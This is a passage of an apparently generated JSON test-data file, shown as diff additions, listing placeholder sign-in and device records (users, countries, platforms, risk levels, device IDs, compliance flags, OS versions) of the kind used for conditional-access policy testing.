"UserRiskLevel": "Medium", + "DeviceId": "device-040", + "deviceOwnership": "Personal", + "DisplayName": "Device-040", + "EnrollmentProfileName": "Profile-040", + "isCompliant": true, + "Manufacturer": "Manufacturer-O", + "MdmAppId": "mdm-00040", + "Model": "Model-040", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "10.0.40", + "PhysicalIds": "physical-id-040", + "profileType": "RegisteredDevice", + "systemLabels": "MDEJoined", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "IT", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": false, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-041", + "deviceOwnership": "Company", + "DisplayName": "Device-041", + "EnrollmentProfileName": "Profile-041", + "isCompliant": false, + "Manufacturer": "Manufacturer-P", + "MdmAppId": "mdm-00041", + "Model": "Model-041", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "11.1.41", + "PhysicalIds": "physical-id-041", + "profileType": "SecureVM", + "systemLabels": "MDEManaged", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "NL", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": true, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-042", + "deviceOwnership": "Personal", + "DisplayName": "Device-042", + "EnrollmentProfileName": "Profile-042", + "isCompliant": true, + "Manufacturer": "Manufacturer-Q", + "MdmAppId": "mdm-00042", + "Model": "Model-042", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "12.2.42", + "PhysicalIds": "physical-id-042", + "profileType": "Printer", + "systemLabels": "MicrosoftPrintServiceConnector", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "DE", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "easSupported", + "TrustedIPAddress": false, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-043", + "deviceOwnership": "Company", + "DisplayName": "Device-043", + "EnrollmentProfileName": "Profile-043", + "isCompliant": false, + "Manufacturer": "Manufacturer-R", + "MdmAppId": "mdm-00043", + "Model": "Model-043", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "13.3.43", + "PhysicalIds": "physical-id-043", + "profileType": "Shared", + "systemLabels": "MultiUser", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "All", + "Country": "SE", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "other", + "TrustedIPAddress": true, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-044", + "deviceOwnership": "Personal", + "DisplayName": "Device-044", + "EnrollmentProfileName": "Profile-044", + "isCompliant": true, + "Manufacturer": "Manufacturer-S", + "MdmAppId": "mdm-00044", + "Model": "Model-044", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "14.4.44", + "PhysicalIds": "physical-id-044", + "profileType": "IoT", + "systemLabels": "PrinterAllInOne", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "US", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "browser", + "TrustedIPAddress": false, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-045", + "deviceOwnership": "Company", + "DisplayName": "Device-045", + "EnrollmentProfileName": "Profile-045", + "isCompliant": false, + "Manufacturer": "Manufacturer-T", + "MdmAppId": "mdm-00045", + "Model": "Model-045", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "10.5.45", + "PhysicalIds": "physical-id-045", + "profileType": "RegisteredDevice", + "systemLabels": "PrinterStandard", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "FR", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": true, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-046", + "deviceOwnership": "Personal", + "DisplayName": "Device-046", + "EnrollmentProfileName": "Profile-046", + "isCompliant": true, + "Manufacturer": "Manufacturer-U", + "MdmAppId": "mdm-00046", + "Model": "Model-046", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "11.6.46", + "PhysicalIds": "physical-id-046", + "profileType": "SecureVM", + "systemLabels": "Printer3D", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "IT", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": false, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-047", + "deviceOwnership": "Company", + "DisplayName": "Device-047", + "EnrollmentProfileName": "Profile-047", + "isCompliant": false, + "Manufacturer": "Manufacturer-V", + "MdmAppId": "mdm-00047", + "Model": "Model-047", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "12.7.47", + "PhysicalIds": "physical-id-047", + "profileType": "Printer", + "systemLabels": "ScannerStandard", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "All", + "Country": "NL", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "easSupported", + "TrustedIPAddress": true, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-048", + "deviceOwnership": "Personal", + "DisplayName": "Device-048", + "EnrollmentProfileName": "Profile-048", + "isCompliant": true, + "Manufacturer": "Manufacturer-W", + "MdmAppId": "mdm-00048", + "Model": "Model-048", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "13.8.48", + "PhysicalIds": "physical-id-048", + "profileType": "Shared", + "systemLabels": "AzureResource", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "DE", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "other", + "TrustedIPAddress": false, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-049", + "deviceOwnership": "Company", + "DisplayName": "Device-049", + "EnrollmentProfileName": "Profile-049", + "isCompliant": false, + "Manufacturer": "Manufacturer-X", + "MdmAppId": "mdm-00049", + "Model": "Model-049", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "14.9.49", + "PhysicalIds": "physical-id-049", + "profileType": "IoT", + "systemLabels": "AzureVirtualDesktop", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "SE", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "browser", + "TrustedIPAddress": true, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-050", + "deviceOwnership": "Personal", + "DisplayName": "Device-050", + "EnrollmentProfileName": "Profile-050", + "isCompliant": true, + "Manufacturer": "Manufacturer-Y", + "MdmAppId": "mdm-00050", + "Model": "Model-050", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "10.0.50", + "PhysicalIds": "physical-id-050", + "profileType": "RegisteredDevice", + "systemLabels": "CloudPC", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "US", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": false, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-051", + "deviceOwnership": "Company", + "DisplayName": "Device-051", + "EnrollmentProfileName": "Profile-051", + "isCompliant": false, + "Manufacturer": "Manufacturer-Z", + "MdmAppId": "mdm-00051", + "Model": "Model-051", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "11.1.51", + "PhysicalIds": "physical-id-051", + "profileType": "SecureVM", + "systemLabels": "M365Managed", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "All", + "Country": "FR", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": true, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-052", + "deviceOwnership": "Personal", + "DisplayName": "Device-052", + "EnrollmentProfileName": "Profile-052", + "isCompliant": true, + "Manufacturer": "Manufacturer-A", + "MdmAppId": "mdm-00052", + "Model": "Model-052", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "12.2.52", + "PhysicalIds": "physical-id-052", + "profileType": "Printer", + "systemLabels": "MDEJoined", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "IT", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "easSupported", + "TrustedIPAddress": false, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-053", + "deviceOwnership": "Company", + "DisplayName": "Device-053", + "EnrollmentProfileName": "Profile-053", + "isCompliant": false, + "Manufacturer": "Manufacturer-B", + "MdmAppId": "mdm-00053", + "Model": "Model-053", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "13.3.53", + "PhysicalIds": "physical-id-053", + "profileType": "Shared", + "systemLabels": "MDEManaged", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "NL", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "other", + "TrustedIPAddress": true, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-054", + "deviceOwnership": "Personal", + "DisplayName": "Device-054", + "EnrollmentProfileName": "Profile-054", + "isCompliant": true, + "Manufacturer": "Manufacturer-C", + "MdmAppId": "mdm-00054", + "Model": "Model-054", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "14.4.54", + "PhysicalIds": "physical-id-054", + "profileType": "IoT", + "systemLabels": "MicrosoftPrintServiceConnector", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "DE", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "browser", + "TrustedIPAddress": false, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-055", + "deviceOwnership": "Company", + "DisplayName": "Device-055", + "EnrollmentProfileName": "Profile-055", + "isCompliant": false, + "Manufacturer": "Manufacturer-D", + "MdmAppId": "mdm-00055", + "Model": "Model-055", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "10.5.55", + "PhysicalIds": "physical-id-055", + "profileType": "RegisteredDevice", + "systemLabels": "MultiUser", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "All", + "Country": "SE", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": true, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-056", + "deviceOwnership": "Personal", + "DisplayName": "Device-056", + "EnrollmentProfileName": "Profile-056", + "isCompliant": true, + "Manufacturer": "Manufacturer-E", + "MdmAppId": "mdm-00056", + "Model": "Model-056", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "11.6.56", + "PhysicalIds": "physical-id-056", + "profileType": "SecureVM", + "systemLabels": "PrinterAllInOne", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "US", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": false, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-057", + "deviceOwnership": "Company", + "DisplayName": "Device-057", + "EnrollmentProfileName": "Profile-057", + "isCompliant": false, + "Manufacturer": "Manufacturer-F", + "MdmAppId": "mdm-00057", + "Model": "Model-057", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "12.7.57", + "PhysicalIds": "physical-id-057", + "profileType": "Printer", + "systemLabels": "PrinterStandard", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "FR", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "easSupported", + "TrustedIPAddress": true, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-058", + "deviceOwnership": "Personal", + "DisplayName": "Device-058", + "EnrollmentProfileName": "Profile-058", + "isCompliant": true, + "Manufacturer": "Manufacturer-G", + "MdmAppId": "mdm-00058", + "Model": "Model-058", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "13.8.58", + "PhysicalIds": "physical-id-058", + "profileType": "Shared", + "systemLabels": "Printer3D", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "IT", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "other", + "TrustedIPAddress": false, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-059", + "deviceOwnership": "Company", + "DisplayName": "Device-059", + "EnrollmentProfileName": "Profile-059", + "isCompliant": false, + "Manufacturer": "Manufacturer-H", + "MdmAppId": "mdm-00059", + "Model": "Model-059", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "14.9.59", + "PhysicalIds": "physical-id-059", + "profileType": "IoT", + "systemLabels": "ScannerStandard", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "All", + "Country": "NL", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "browser", + "TrustedIPAddress": true, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-060", + "deviceOwnership": "Personal", + "DisplayName": "Device-060", + "EnrollmentProfileName": "Profile-060", + "isCompliant": true, + "Manufacturer": "Manufacturer-I", + "MdmAppId": "mdm-00060", + "Model": "Model-060", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "10.0.60", + "PhysicalIds": "physical-id-060", + "profileType": "RegisteredDevice", + "systemLabels": "AzureResource", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "DE", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": false, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-061", + "deviceOwnership": "Company", + "DisplayName": "Device-061", + "EnrollmentProfileName": "Profile-061", + "isCompliant": false, + "Manufacturer": "Manufacturer-J", + "MdmAppId": "mdm-00061", + "Model": "Model-061", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "11.1.61", + "PhysicalIds": "physical-id-061", + "profileType": "SecureVM", + "systemLabels": "AzureVirtualDesktop", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "SE", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": true, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-062", + "deviceOwnership": "Personal", + "DisplayName": "Device-062", + "EnrollmentProfileName": "Profile-062", + "isCompliant": true, + "Manufacturer": "Manufacturer-K", + "MdmAppId": "mdm-00062", + "Model": "Model-062", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "12.2.62", + "PhysicalIds": "physical-id-062", + "profileType": "Printer", + "systemLabels": "CloudPC", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "US", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "easSupported", + "TrustedIPAddress": false, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-063", + "deviceOwnership": "Company", + "DisplayName": "Device-063", + "EnrollmentProfileName": "Profile-063", + "isCompliant": false, + "Manufacturer": "Manufacturer-L", + "MdmAppId": "mdm-00063", + "Model": "Model-063", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "13.3.63", + "PhysicalIds": "physical-id-063", + "profileType": "Shared", + "systemLabels": "M365Managed", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "All", + "Country": "FR", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "other", + "TrustedIPAddress": true, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-064", + "deviceOwnership": "Personal", + "DisplayName": "Device-064", + "EnrollmentProfileName": "Profile-064", + "isCompliant": true, + "Manufacturer": "Manufacturer-M", + "MdmAppId": "mdm-00064", + "Model": "Model-064", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "14.4.64", + "PhysicalIds": "physical-id-064", + "profileType": "IoT", + "systemLabels": "MDEJoined", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "IT", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "browser", + "TrustedIPAddress": false, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-065", + "deviceOwnership": "Company", + "DisplayName": "Device-065", + "EnrollmentProfileName": "Profile-065", + "isCompliant": false, + "Manufacturer": "Manufacturer-N", + "MdmAppId": "mdm-00065", + "Model": "Model-065", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "10.5.65", + "PhysicalIds": "physical-id-065", + "profileType": "RegisteredDevice", + "systemLabels": "MDEManaged", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "NL", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": true, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-066", + "deviceOwnership": "Personal", + "DisplayName": "Device-066", + "EnrollmentProfileName": "Profile-066", + "isCompliant": true, + "Manufacturer": "Manufacturer-O", + "MdmAppId": "mdm-00066", + "Model": "Model-066", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "11.6.66", + "PhysicalIds": "physical-id-066", + "profileType": "SecureVM", + "systemLabels": "MicrosoftPrintServiceConnector", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "DE", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": false, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-067", + "deviceOwnership": "Company", + "DisplayName": "Device-067", + "EnrollmentProfileName": "Profile-067", + "isCompliant": false, + "Manufacturer": "Manufacturer-P", + "MdmAppId": "mdm-00067", + "Model": "Model-067", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "12.7.67", + "PhysicalIds": "physical-id-067", + "profileType": "Printer", + "systemLabels": "MultiUser", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "All", + "Country": "SE", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "easSupported", + "TrustedIPAddress": true, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-068", + "deviceOwnership": "Personal", + "DisplayName": "Device-068", + "EnrollmentProfileName": "Profile-068", + "isCompliant": true, + "Manufacturer": "Manufacturer-Q", + "MdmAppId": "mdm-00068", + "Model": "Model-068", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "13.8.68", + "PhysicalIds": "physical-id-068", + "profileType": "Shared", + "systemLabels": "PrinterAllInOne", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "US", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "other", + "TrustedIPAddress": false, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-069", + "deviceOwnership": "Company", + "DisplayName": "Device-069", + "EnrollmentProfileName": "Profile-069", + "isCompliant": false, + "Manufacturer": "Manufacturer-R", + "MdmAppId": "mdm-00069", + "Model": "Model-069", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "14.9.69", + "PhysicalIds": "physical-id-069", + "profileType": "IoT", + "systemLabels": "PrinterStandard", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "FR", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "browser", + "TrustedIPAddress": true, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-070", + "deviceOwnership": "Personal", + "DisplayName": "Device-070", + "EnrollmentProfileName": "Profile-070", + "isCompliant": true, + "Manufacturer": "Manufacturer-S", + "MdmAppId": "mdm-00070", + "Model": "Model-070", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "10.0.70", + "PhysicalIds": "physical-id-070", + "profileType": "RegisteredDevice", + "systemLabels": "Printer3D", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "IT", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": false, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-071", + "deviceOwnership": "Company", + "DisplayName": "Device-071", + "EnrollmentProfileName": "Profile-071", + "isCompliant": false, + "Manufacturer": "Manufacturer-T", + "MdmAppId": "mdm-00071", + "Model": "Model-071", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "11.1.71", + "PhysicalIds": "physical-id-071", + "profileType": "SecureVM", + "systemLabels": "ScannerStandard", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "All", + "Country": "NL", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": true, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-072", + "deviceOwnership": "Personal", + "DisplayName": "Device-072", + "EnrollmentProfileName": "Profile-072", + "isCompliant": true, + "Manufacturer": "Manufacturer-U", + "MdmAppId": "mdm-00072", + "Model": "Model-072", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "12.2.72", + "PhysicalIds": "physical-id-072", + "profileType": "Printer", + "systemLabels": "AzureResource", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "DE", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "easSupported", + "TrustedIPAddress": false, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-073", + "deviceOwnership": "Company", + "DisplayName": "Device-073", + "EnrollmentProfileName": "Profile-073", + "isCompliant": false, + "Manufacturer": "Manufacturer-V", + "MdmAppId": "mdm-00073", + "Model": "Model-073", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "13.3.73", + "PhysicalIds": "physical-id-073", + "profileType": "Shared", + "systemLabels": "AzureVirtualDesktop", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "SE", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "other", + "TrustedIPAddress": true, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-074", + "deviceOwnership": "Personal", + "DisplayName": "Device-074", + "EnrollmentProfileName": "Profile-074", + "isCompliant": true, + "Manufacturer": "Manufacturer-W", + "MdmAppId": "mdm-00074", + "Model": "Model-074", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "14.4.74", + "PhysicalIds": "physical-id-074", + "profileType": "IoT", + "systemLabels": "CloudPC", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "US", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "browser", + "TrustedIPAddress": false, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-075", + "deviceOwnership": "Company", + "DisplayName": "Device-075", + "EnrollmentProfileName": "Profile-075", + "isCompliant": false, + "Manufacturer": "Manufacturer-X", + "MdmAppId": "mdm-00075", + "Model": "Model-075", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "10.5.75", + "PhysicalIds": "physical-id-075", + "profileType": "RegisteredDevice", + "systemLabels": "M365Managed", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "All", + "Country": "FR", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": true, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-076", + "deviceOwnership": "Personal", + "DisplayName": "Device-076", + "EnrollmentProfileName": "Profile-076", + "isCompliant": true, + "Manufacturer": "Manufacturer-Y", + "MdmAppId": "mdm-00076", + "Model": "Model-076", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "11.6.76", + "PhysicalIds": "physical-id-076", + "profileType": "SecureVM", + "systemLabels": "MDEJoined", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "IT", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": false, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-077", + "deviceOwnership": "Company", + "DisplayName": "Device-077", + "EnrollmentProfileName": "Profile-077", + "isCompliant": false, + "Manufacturer": "Manufacturer-Z", + "MdmAppId": "mdm-00077", + "Model": "Model-077", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "12.7.77", + "PhysicalIds": "physical-id-077", + "profileType": "Printer", + "systemLabels": "MDEManaged", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "NL", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "easSupported", + "TrustedIPAddress": true, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-078", + "deviceOwnership": "Personal", + "DisplayName": "Device-078", + "EnrollmentProfileName": "Profile-078", + "isCompliant": true, + "Manufacturer": "Manufacturer-A", + "MdmAppId": "mdm-00078", + "Model": "Model-078", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "13.8.78", + "PhysicalIds": "physical-id-078", + "profileType": "Shared", + "systemLabels": "MicrosoftPrintServiceConnector", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "DE", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "other", + "TrustedIPAddress": false, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-079", + "deviceOwnership": "Company", + "DisplayName": "Device-079", + "EnrollmentProfileName": "Profile-079", + "isCompliant": false, + "Manufacturer": "Manufacturer-B", + "MdmAppId": "mdm-00079", + "Model": "Model-079", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "14.9.79", + "PhysicalIds": "physical-id-079", + "profileType": "IoT", + "systemLabels": "MultiUser", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "All", + "Country": "SE", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "browser", + "TrustedIPAddress": true, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-080", + "deviceOwnership": "Personal", + "DisplayName": "Device-080", + "EnrollmentProfileName": "Profile-080", + "isCompliant": true, + "Manufacturer": "Manufacturer-C", + "MdmAppId": "mdm-00080", + "Model": "Model-080", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "10.0.80", + "PhysicalIds": "physical-id-080", + "profileType": "RegisteredDevice", + "systemLabels": "PrinterAllInOne", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "US", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": false, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-081", + "deviceOwnership": "Company", + "DisplayName": "Device-081", + "EnrollmentProfileName": "Profile-081", + "isCompliant": false, + "Manufacturer": "Manufacturer-D", + "MdmAppId": "mdm-00081", + "Model": "Model-081", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "11.1.81", + "PhysicalIds": "physical-id-081", + "profileType": "SecureVM", + "systemLabels": "PrinterStandard", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "FR", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": true, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-082", + "deviceOwnership": "Personal", + "DisplayName": "Device-082", + "EnrollmentProfileName": "Profile-082", + "isCompliant": true, + "Manufacturer": "Manufacturer-E", + "MdmAppId": "mdm-00082", + "Model": "Model-082", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "12.2.82", + "PhysicalIds": "physical-id-082", + "profileType": "Printer", + "systemLabels": "Printer3D", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "IT", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "easSupported", + "TrustedIPAddress": false, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-083", + "deviceOwnership": "Company", + "DisplayName": "Device-083", + "EnrollmentProfileName": "Profile-083", + "isCompliant": false, + "Manufacturer": "Manufacturer-F", + "MdmAppId": "mdm-00083", + "Model": "Model-083", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "13.3.83", + "PhysicalIds": "physical-id-083", + "profileType": "Shared", + "systemLabels": 